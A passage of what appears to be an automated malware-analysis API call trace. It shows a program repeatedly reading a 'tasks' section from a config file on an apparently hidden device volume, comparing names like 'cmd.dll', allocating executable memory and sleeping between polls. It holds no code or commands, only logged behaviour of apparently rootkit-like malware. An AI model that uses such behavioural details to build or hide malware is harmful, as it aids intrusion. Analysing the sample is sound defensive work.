_Dest="0d24eb7c\\cfg.ini") returned 16 [0119.251] KeEnterCriticalRegion () [0119.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.251] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.251] KeLeaveCriticalRegion () [0119.251] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.251] KeEnterCriticalRegion () [0119.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.251] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.251] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcb520, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.251] KeLeaveCriticalRegion () [0119.251] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.251] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.251] KeEnterCriticalRegion () [0119.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.251] ExFreePoolWithTag (P=0xfffffa8003bdbd00, Tag=0x0) [0119.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.251] KeLeaveCriticalRegion () [0119.251] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.251] ReleaseMutex (hMutex=0xf0) returned 1 [0119.251] Sleep (dwMilliseconds=0x927c0) [0119.265] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.265] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.265] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.265] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.265] KeEnterCriticalRegion () [0119.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.265] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.265] IdePortDispatch () returned 0x103 [0119.265] KeWaitForMutexObject () returned 0x0 [0119.265] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.265] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.265] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.265] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.265] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.265] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbfb0 [0119.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.265] KeLeaveCriticalRegion () [0119.265] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.265] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.265] KeEnterCriticalRegion () [0119.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.265] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.265] KeLeaveCriticalRegion () [0119.265] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.266] KeEnterCriticalRegion () [0119.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.266] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.266] IdePortDispatch () returned 0x103 [0119.266] KeWaitForMutexObject () returned 0x0 [0119.266] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.266] KeLeaveCriticalRegion () [0119.266] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.266] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.266] KeEnterCriticalRegion () [0119.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.266] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc3000 [0119.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.266] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.266] IdePortDispatch () returned 0x103 [0119.266] KeWaitForMutexObject () returned 0x0 [0119.266] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.266] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.266] IdePortDispatch () returned 0x103 [0119.266] KeWaitForMutexObject () returned 0x0 [0119.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.267] KeLeaveCriticalRegion () [0119.267] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.267] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.267] KeEnterCriticalRegion () [0119.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.267] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.267] KeLeaveCriticalRegion () [0119.267] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.267] KeEnterCriticalRegion () [0119.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.267] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.267] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcb070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.267] KeLeaveCriticalRegion () [0119.267] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.267] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.267] KeEnterCriticalRegion () [0119.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.267] ExFreePoolWithTag (P=0xfffffa8003bdbfb0, Tag=0x0) [0119.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.267] KeLeaveCriticalRegion () [0119.267] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.268] ReleaseMutex (hMutex=0xf0) returned 1 [0119.268] Sleep (dwMilliseconds=0x927c0) [0119.282] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.282] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.282] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.282] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.282] KeEnterCriticalRegion () [0119.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.282] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.282] IdePortDispatch () returned 0x103 [0119.282] KeWaitForMutexObject () returned 0x0 [0119.282] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.282] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.282] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.282] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.282] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.282] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb0b0 [0119.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.282] KeLeaveCriticalRegion () [0119.282] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.282] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.282] KeEnterCriticalRegion () [0119.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.282] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.282] KeLeaveCriticalRegion () [0119.282] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.282] KeEnterCriticalRegion () [0119.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.283] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.283] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.283] IdePortDispatch () returned 0x103 [0119.283] KeWaitForMutexObject () returned 0x0 [0119.283] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.283] KeLeaveCriticalRegion () [0119.283] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.283] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.283] KeEnterCriticalRegion () [0119.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.283] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc8000 [0119.283] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.283] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.283] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.283] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.283] IdePortDispatch () returned 0x103 [0119.283] KeWaitForMutexObject () returned 0x0 [0119.283] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.283] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.283] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.283] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.283] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.283] IdePortDispatch () returned 0x103 [0119.283] KeWaitForMutexObject () returned 0x0 [0119.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.284] KeLeaveCriticalRegion () [0119.284] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.284] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.284] KeEnterCriticalRegion () [0119.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.284] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.284] KeLeaveCriticalRegion () [0119.284] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.284] KeEnterCriticalRegion () [0119.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.284] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.284] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcb520, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.284] KeLeaveCriticalRegion () [0119.284] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.284] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.284] KeEnterCriticalRegion () [0119.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.284] ExFreePoolWithTag (P=0xfffffa8003bcb0b0, Tag=0x0) [0119.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.284] KeLeaveCriticalRegion () [0119.284] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.284] ReleaseMutex (hMutex=0xf0) returned 1 [0119.285] Sleep (dwMilliseconds=0x927c0) [0119.299] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.299] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.299] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.299] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.299] KeEnterCriticalRegion () [0119.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.299] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.299] IdePortDispatch () returned 0x103 [0119.299] KeWaitForMutexObject () returned 0x0 [0119.300] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.300] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.300] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.300] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.300] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.300] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa8590 [0119.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.300] KeLeaveCriticalRegion () [0119.300] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.300] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.300] KeEnterCriticalRegion () [0119.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.300] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.300] KeLeaveCriticalRegion () [0119.300] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.300] KeEnterCriticalRegion () [0119.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.300] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.300] IdePortDispatch () returned 0x103 [0119.300] KeWaitForMutexObject () returned 0x0 [0119.300] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.300] KeLeaveCriticalRegion () [0119.300] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.300] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.300] KeEnterCriticalRegion () [0119.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.300] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ccd000 [0119.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.300] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.300] IdePortDispatch () returned 0x103 [0119.301] KeWaitForMutexObject () returned 0x0 [0119.301] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.301] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.301] IdePortDispatch () returned 0x103 [0119.301] KeWaitForMutexObject () returned 0x0 [0119.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.301] KeLeaveCriticalRegion () [0119.301] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.301] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.301] KeEnterCriticalRegion () [0119.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.302] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.302] KeLeaveCriticalRegion () [0119.302] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.302] KeEnterCriticalRegion () [0119.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.302] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.302] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcb270, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.302] KeLeaveCriticalRegion () [0119.302] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.302] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.302] KeEnterCriticalRegion () [0119.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.302] ExFreePoolWithTag (P=0xfffffa8003aa8590, Tag=0x0) [0119.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.302] KeLeaveCriticalRegion () [0119.302] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.302] ReleaseMutex (hMutex=0xf0) returned 1 [0119.302] Sleep (dwMilliseconds=0x927c0) [0119.321] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.321] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.321] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: 